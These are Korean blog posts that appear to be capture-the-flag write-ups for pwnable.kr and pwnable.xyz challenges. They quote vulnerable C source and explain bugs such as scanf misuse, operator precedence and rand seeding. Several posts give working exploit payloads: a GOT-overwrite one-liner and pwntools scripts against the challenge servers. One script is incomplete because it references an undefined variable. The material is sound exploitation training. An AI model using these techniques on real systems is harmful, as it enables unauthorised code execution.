728x90

Daddy, teach me how to use random value in programming!

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

c언어를 배울때 rand함수는 srand를 해주기 전엔 random값이 아니라고 배웠다.

 

gdb로 rand의 첫번째 값을 확인해서 deadbeef랑 xor연산을 해준 값을 넣어주면 끝난다.

 

18에 bp를 걸어주고

 

 

0x6b8b4567 xor 0xdeadbeef = B526 FB88 >> 3039230856 (10진수)

 

Mommy, I thought libc random is unpredictable...

 

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blukat  (0) 2020.10.12
[pwnable.kr] cmd1  (0) 2020.10.10
[pwnable.kr] passcode  (0) 2020.10.08
[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
728x90

Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that?

#include <stdio.h>
#include <stdlib.h>
void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1); #########4
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : "); 
        scanf("%d", passcode2);  ########5

        printf("checking...\n");  ########5
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}
void welcome(){
        char name[100];
        printf("enter you name : ");   ##########2
        scanf("%100s", name);
        printf("Welcome %s!\n", name);########3
}
int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n"); #######1

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

읽어보니깐 scanf에서 &가 없어서 passcode 1, 2를 주소로 인식한다. 즉 입력한 주소값으로 이동시킬 수 있다.

 

그리고 name을 입력받을땐 배열이므로 &가 없는게 맞는듯..

 

got/plt를 이용하여서 풀거다.

 

name변수와 passcode1변수의 거리가 112-16 = 96인데 name에서 100개를 입력받으므로 마지막 8바이트는 passcode1에 들어갈 것이다.

passcode1에 fflush함수의 got값을 넣어주면 scanf오류때문에 해당 주소에 overwrite할 수 있다.

fflush의 got는 0x804a004, 

그러면 우리가 원하는 주소인 

cat flag를 넣어주면 된다.

 

또한 scanf에서 %d로 받기 때문에 마지막 주소는 10진수로 바꿔줘야 한다.

 

(python -c 'print "\x90"*96+"\x04\xa0\x04\x08"+"134514147"') | ./passcode

 

Sorry mom.. I got confused about scanf usage :(

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd1  (0) 2020.10.10
[pwnable.kr] random  (0) 2020.10.09
[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23
728x90

연산자 우선순위때문에 코드에 오류가 있다고 한다.

 

코드를 보면, 

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}

 

password라는 파일을 fd로 읽어온 후 사용자에게 입력을 받아서 xor연산 후 비교하는 구조이다.

힌트로 연산자 우선순위가 있어서 요걸 어디에다가 써먹지 생각을 해보다가 pw비교문에선 오류가 없는것같아 

fd로 읽어오는 부분을 보니, 잘못된게 바로 보였다.

c언어에선 대입연산자가 항상 최하위로 외우고 있었는데 대입이랑 비교연산자를 섞어놨으니 의도한 대로 코딩이 안되었을것이다.

 

 

//(open함수 링크 >>

 

비버퍼링 파일 열기 함수 - open()

앞으로 open(), creat(), read(), write(), lseek(), close() 함수에 대해서 차례로 살펴볼 것이다. 여섯개...

blog.naver.com

문제의 코드는 fd = open(경로, 읽기전용, 뭔 권한(?) ) < 0 인데 password파일은 잘 열릴꺼니깐 리턴값은 파일 디스크립터일것이고, 0보다 작지 않다. 그러면 연산자의 리턴값은 0, 따라서 fd에 0이 들어가고 키보드사용 표준 입력인데다가 

sleep함수도 있으므로 그냥 입력하는게 pw_buf1에 들어간다.

그 후엔 pw_buf2같은건 그냥 입력하면 되고, xor연산을 잊으면 안된다.

 

a는 ascii로 97이고 1과 xor하면 96, `이다.

Mommy, the operator priority always confuses me :(

 

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2020.10.09
[pwnable.kr] passcode  (0) 2020.10.08
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
728x90

 

또 win함수가 있다. 

main에서 어떠한 방법으로 win함수를 호출해야 하는데, main함수를 보면, 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("The Poopolator");
  setup("The Poopolator", argv);
  while ( 1 )
  {
    v6 = 0LL;
    printf(format);
    v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6);
    if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
      break;
    result[v6] = v5 ^ v4;
    printf("Result: %ld\n", result[v6]);
  }
  exit(1);
}

처음엔 xor의 결과값인 result가 배열로 선언되어 있어서 v6를 0으로 하면 풀릴 줄 알았는데  if문에서 v6 > 9라는 조건이 있었다.

이 문제의 풀이방법은 코드중 수정할수 있는 부분을 찾아서 수정하고, 원래 불러오려던 함수가 아닌 win함수를 불러오게 하는 것 이다.

 

우선, gdb-peda의 vmmap을 이용하여, 수정할수 있는 부분을 확인한다. (정확하게는 가상메모리의 레이아웃을 출력하는 것이다.)

 

이렇게 빨간색 코드영역의 권한에 w권한이 있으므로, 수정할 수 있다.

이 점을 이용하여, 'call exit', 즉 exit함수가 호출되는 부분을 win이 호출되도록 수정할것이다.

우리가 이용할 코드는 'result[v6] = v5^v4'이고, 좌변엔 call exit의 주소, 우변엔 call win의 주소를 넣어주면 된다.

 

여기서 v6를 구할때 생각을 해보면 기본값은 result변수 주소로 들어가있을 것이다. 그러면

[call exit주소 - result변수 주소]/8(64비트이므로) 을 해주면 될것이다.

call exit 주소
result 변수 주소

근데 여기서 call exit주소는 마지막 3개만 읽어줘야하는데, 

프로그램 실행 전

이렇게 프로그램을 돌리기 전의 offset이기 때문이다.

(0xac8 - 0x202200)/8 = -262887 >>v6

 

이제 call win의 주소를 구하면 되는데, 

 

jmp, call instruction 주소 계산

Intel x86 architecture에서 JMP, CALL 명령어는 5Byte로 opcode와 operand는 다음과 같다. ```c JMP  : E9 XX XX XX XX CALL : E8 XX XX XX XX ``` 이 때 operand는 절대주소 값이 아니라, 현 위치 기준 상대주..

umbum.dev

위 글과 같이 64비트에서 call 명령의 형식은 E8 xx xx xx xx 이다. (리틀엔디안)_

-acd + a21 = ffff ff54 

따라서 ffffff54e8을 넣어주면 되고, xor을 두번하면 그대로나오니깐 1과 xor을 한번 하면 

ffffff55e8이다. 10진수로 1,099,511,584,232

따라서 v6 = -262887, v5 = 1,099,511,584,232, v4 = 1.

from pwn import *
p = remote("svc.pwnable.xyz", 30029)
p.sendafter(">", "1 1099511584232 -262887")
p.sendafter(" ", "a")

print p.recv(1024)
p.interactive()

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Welcome  (0) 2020.09.28
[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
728x90

우선 ida에서 코드를 보면, 

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  __int64 v4; // rdx
  char *v5; // rbp
  __int64 v6; // rdx
  size_t v7; // rdx
  size_t size; // [rsp+0h] [rbp-28h]
  unsigned __int64 v10; // [rsp+8h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  sub_B4E(a1, a2, a3);
  puts("Welcome.");
  v3 = malloc(0x40000uLL);
  *v3 = 1LL;
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ", v4);
  size = 0LL;
  _isoc99_scanf("%lu", &size);
  v5 = (char *)malloc(size);
  _printf_chk(1LL, "Enter your message: ", v6);
  read(0, v5, size);
  v7 = size;
  v5[size - 1] = 0;
  write(1, v5, v7);
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

 

이렇게 있고 보다시피 v3의 값을 0으로 만들어야 한다.

 

 

사실 맨 처음 이 문제를 풀려고 했는데 malloc의 값이 너무 크면 0이 리턴된다는 것 까지 이해했는데 그 다음부터 도저히 이해가 안되서 혼자 여러 상황을 가정하고 코드를 짜보다가 이해했다..(c언어 상식 부족)

 

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
int main() {
	int  k;
	k = 123;
	int add = &k;

	char * lee = 0;
	//lee = (int)("0x00");
	printf("%d", lee[add]);

}

 우선 malloc에 오류가 생기면 nullpointer가 지정된다는 말도 있었고, 그냥 리턴값이 0이라는 말도 있었는데, 일단 전자는 뭔말인지 모르겠으므로 후자가 맞는것 같다 . ㅋㅋㅋ 

이렇게 포인터가 0으로 선언되고, 배열로 사용하면 다른 메모리에 들어있는 값을 읽어올 수 있다. 

 

 

이렇게 말이다.

즉 만약 0으로 초기화된 포인터 변수 lee가 있다고 가정하고

'lee[(원하는 변수의 주소)]'를 출력하면  '원하는 변수'의 값을 출력한다.

 

 

welcome문제에서 처음에 Leak라는 말과 함께 변수 v3의 값의 주소가 나온다. 

그리고 v5 를 malloc하고 v5[size -1]이 0으로 초기화된다. 

우리는 v3의 값을 0으로 만들면 된다.

 

아까 c언어를 예시로 말한것처럼, v5를 malloc하는 과정에서 0으로 초기화된다면, v5[size-1]에서 

size에 v3의 주소 + 1을 넣어주면 v3는 0으로 초기화 될것이다. (v3는 포인터변수인데 딱히 포인터로 쓰이는게 이 문제에선 중요하지 않은것같아서 그냥 변수라고 말함) 

 

pwntool로 짜보면, 

from pwn import *
p=remote("svc.pwnable.xyz", 30000)
p.recvuntil("Leak: 0x")
pl=int(p.recv(12), 16)+1

p.recvuntil(": ")
p.sendline(str(pl))
p.recvuntil(": ")
p.sendline("Adf")
p.interactive()

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] xor  (0) 2020.09.29
[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
728x90

2개의 방법 중 하나를 선택해라고 한다. ㅣㅣ

 

ida로 함수를 보면, //지금 ida로 열다가 에러가 뭔 에러가 나서 변수 이름이 약간 다르다. 

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  const char *v4; // rdi
  signed int v5; // eax
  char s; // [rsp+10h] [rbp-40h]
  __int64 v7; // [rsp+30h] [rbp-20h]
  char *v8; // [rsp+40h] [rbp-10h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  v4 = &s;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(v4, v3);
      v5 = read_int32();
      if ( v5 != 2 )
        break;
      printf("nationality: ");
      v3 = (char *)&v7;
      v4 = "%24s";
      __isoc99_scanf("%24s", &v7);
    }
    if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        printf("age: ");
        v3 = v8;
        v4 = "%d";
        __isoc99_scanf("%d", v8);
      }
      else if ( v5 == 4 )
      {
        v4 = &s;
        if ( (unsigned __int8)auth((__int64)&s) )
          win();
      }
      else
      {
LABEL_14:
        v4 = "Invalid";
        puts("Invalid");
      }
    }
    else
    {
      if ( v5 != 1 )
        goto LABEL_14;
      printf("name: ");
      v3 = &s;
      v4 = "%32s";
      __isoc99_scanf("%32s", &s);
    }
  }
}

처음 코드를 보고 생각한건, auth함수의 리턴값이 true(1)이면 풀리겠다 였다.

auth함수를 보면, 

_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; (unsigned int)i <= 31; ++i )
    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);
  return strncmp(s1, &s2, 32uLL) == 0;

 

&s2 와 s1을 비교해서 같아야 하는데, 위에 연산이 뭔말인지 당최 모르겠다..

&

이 방법 말고 다른 방법을 생각해보면, 3번을 선택했을때, (매뉴에서) 실행되는 scanf함수에서 &v8이 아닌 그냥 v8이 들어가 있다. 따라서 여기에 원하는 주소를 넣어주면 다음에 v8변수를 불러오면 원하는 함수가 실행될 것이다.

 

메모리 상태를 보면, 

지금 살짝 오류가 생겨서 안보이는데, 20이 v7, 10(var_10)이 v8이다. 둘의 거리는 16바이트이고, v7에 scanf는 24바이트를 읽는다. 따라서,  v7에 24바이트를 넣으면 마지막 8바이트는 v8로 들어간다. 

 

결론은,

1. 2번 메뉴에 들어가서 (v7)   아무(16바이트) + 원하는 주소(8바이트) 를 넣어주면 v8에 원하는 주소가 들어가고, 

2. 3번 메뉴에 들어가서(v8, scanf오류) win함수의 주소를 넣어주고, (이 문제도 역시 win함수에 flag가 있다)

3. 4번 메뉴에 들어가면 auth함수에서 strncmp함수를 읽으러 가다가 v8으로 갈것이다. 

 

strncmp got 주소 >> 

 

0x603018 

 

win 함수 주소 >> 

 

payload >>

from pwn import *
r = remote("svc.pwnable.xyz", 30031)
str_got = p64(0x603018)
payload="a"*16 + str_got
##########################3
r.sendafter(">", "2")
r.sendafter("nationality: ", payload)
r.sendafter(">", "3")
r.sendafter("age: ", win)
r.sendafter(">", "4")

r.interactive()

 

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] xor  (0) 2020.09.29
[pwnable.xyz] Welcome  (0) 2020.09.28
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
728x90

Mommy! I made a lotto program for my homework. do you want to play?

misc같은 문제를 풀고싶어서 lotto 를 지금푼다. 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
	
	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1){
		printf("error. tell admin\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\n");
		exit(-1);
	}
	for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
	}
	close(fd);
	
	// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

	// win!
	if(match == 6){
		system("/bin/cat flag");
	}
	else{
		printf("bad luck...\n");
	}

}

void help(){
	printf("- nLotto Rule -\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\n");
	printf("your goal is to match lotto numbers as many as you can\n");
	printf("if you win lottery for *1st place*, you will get reward\n");
	printf("for more details, follow the link below\n");
	printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
	printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

	// menu
	unsigned int menu;

	while(1){

		printf("- Select Menu -\n");
		printf("1. Play Lotto\n");
		printf("2. Help\n");
		printf("3. Exit\n");

		scanf("%d", &menu);

		switch(menu){
			case 1:
				play();
				break;
			case 2:
				help();
				break;
			case 3:
				printf("bye\n");
				return 0;
			default:
				printf("invalid menu\n");
				break;
		}
	}
	return 0;
}

 

코드에 논리적 오류가 있는게, 보통 lotto는 6개를 다 맞아야 1등하는데 위 코드대로면 1개만 맞아도 6개가 다 맞는것처럼 인식한다.

또한 입력을 char로 받아서 확률은 더 높아진다. 

sorry mom... I FORGOT to check duplicate numbers... :(

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] passcode  (0) 2020.10.08
[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] flag  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
[pwnable.kr] collision  (0) 2020.09.22
728x90

Papa brought me a packed present! let's open it.

그냥 우분투로 파일을 확인해보니, 

elf인데 실행이 안되는것 보니 뭔 작업을 해야할것 같다.

 

윈도우에서 ida로 까보면, 

함수 3개중에 1개만 열려서 어떻게 할까 하다가 string을 뒤져보니 upx가 보였다.

우분투에서 언팩한 다음 다시 윈도우로 넘겨주었다.

 

이제 아주 잘 열린다.

flag가 바이너리 파일 안에 있다고 했으므로, 조금 뒤져보면 나온다.

UPX...? sounds like a delivery service :)

728x90

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2020.10.03
[pwnable.kr] lotto  (0) 2020.09.23
[pwnable.kr] bof  (0) 2020.09.23
[pwnable.kr] collision  (0) 2020.09.22
[pwnable.kr] fd  (0) 2020.09.22

+ Recent posts